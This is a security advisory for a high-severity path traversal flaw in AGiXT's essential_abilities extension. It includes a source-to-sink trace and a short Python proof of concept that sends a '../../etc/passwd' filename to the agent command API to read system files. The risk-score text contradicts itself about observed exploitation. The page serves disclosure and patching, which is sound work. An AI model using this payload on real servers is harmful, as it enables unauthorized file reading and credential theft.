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GHSA-5gfj-64gh-mgmw

HighCVSS 8.8 / 10
Published Apr 8, 2026·Last modified Apr 9, 2026
Affected Components(0)

No affected components available

Description

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
 
headers = {"Authorization": f"Bearer {TOKEN}"}
 
payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}
 
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
1.32%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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